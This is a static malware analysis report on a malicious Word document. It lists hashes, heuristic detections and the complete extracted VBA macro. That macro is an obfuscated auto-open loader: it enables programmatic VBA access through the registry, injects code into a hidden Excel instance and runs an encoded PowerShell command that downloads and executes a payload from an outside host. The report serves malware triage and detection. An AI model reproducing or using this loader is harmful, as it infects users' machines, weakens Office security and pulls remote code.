Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 65bd49d9f6d9b924…

MALICIOUS

Office (OLE)

554.5 KB Created: 2018-11-12 11:36:00 Authoring application: Microsoft Office Word First seen: 2020-12-25
MD5: 5935522717aee842433a5de9d228a715 SHA-1: bd2953a4ec7538a5868423e336517376b3dc5864 SHA-256: 65bd49d9f6d9b92478e3653362c0031919607302db6cfb3a7c1994d20be18bcc
332 Risk Score

Heuristics 11

  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set obj = GetObject(in1)
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        xw.VBProject.VBComponents(1).CodeModule.AddFromString (dec("102136117051120059060") & vbCrLf & dec("086133120116135120098117125120118135") & "(""" & dec("106134118133124131135065102123120127127") & """)." & dec("101136129") & " """ & dec("13113013812013313412312012712705106412913013105106412013912011805111714013111613413405106411805105305309208810705905909712013806409811712512011813505109712013506510612011708612712412012913506006508713013812912713011611910213513312412912205905812313513513107 …
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set xl = CreateObject(dec("088139118120127065084131131127124118116135124130129"))
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set obj = GetObject(in1)
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
        CallByName oReg, dec("102120135087106098101087105116127136120"), VbMethod, &H80000001, Pt, Ke, 1
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2553 bytes
SHA-256: f786bd327f63438e17e30b267f814872716defa3b72e4db156eeeba6ec5cf66e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
fxl
lod
End Sub


Function fxl()
    Dim Pt, Ke As String
    Pt = dec("102130121135138116133120111096124118133130134130121135111098121121124118120111") & Application.Version & dec("111088139118120127111102120118136133124135140")
    Ke = dec("084118118120134134105085098096")
    Set oReg = obj(dec("138124129128122128135134077142124128131120133134130129116135124130129095120137120127080124128131120133134130129116135120144052111111065111133130130135111119120121116136127135077102135119101120122099133130137"))
    CallByName oReg, dec("102120135087106098101087105116127136120"), VbMethod, &H80000001, Pt, Ke, 1

End Function

Function obj(in1 As String) As Object
    Set obj = GetObject(in1)
End Function

Function dec(in1 As String) As String
    Dim out As String
    out = ""
    Do
        out = out + ndec(odec(in1))
        in1 = adec(in1)
    Loop While Len(in1) > 0
    dec = out
End Function

Function ndec(in1)
    ndec = Chr(in1 - 19)
End Function
Function odec(in1)
    odec = Left(in1, 3)
End Function
Function adec(in1)
    adec = Right(in1, Len(in1) - 3)
End Function

Function lod()
    Dim xl, xw As Object
    Set xl = CreateObject(dec("088139118120127065084131131127124118116135124130129"))

    CallByName xl, dec("105124134124117127120"), VbLet, False
    CallByName xl, dec("087124134131127116140084127120133135134"), VbLet, False
    Set xw = xl.Workbooks.Add
    xw.VBProject.VBComponents(1).CodeModule.AddFromString (dec("102136117051120059060") & vbCrLf & dec("086133120116135120098117125120118135") & "(""" & dec("106134118133124131135065102123120127127") & """)." & dec("101136129") & " """ & dec("131130138120133134123120127127051064129130131051064120139120118051117140131116134134051064118051053053092088107059059097120138064098117125120118135051097120135065106120117086127124120129135060065087130138129127130116119102135133124129122059058123135135131077066066070118117118065129120135066119133130131117130139066124118130129065124118130129058060060053053") & """, 0" & vbCrLf & dec("088129119051102136117"))
    
    CallByName xl, dec("101136129"), VbMethod, dec("085130130126068052103123124134106130133126117130130126065120")
    
End Function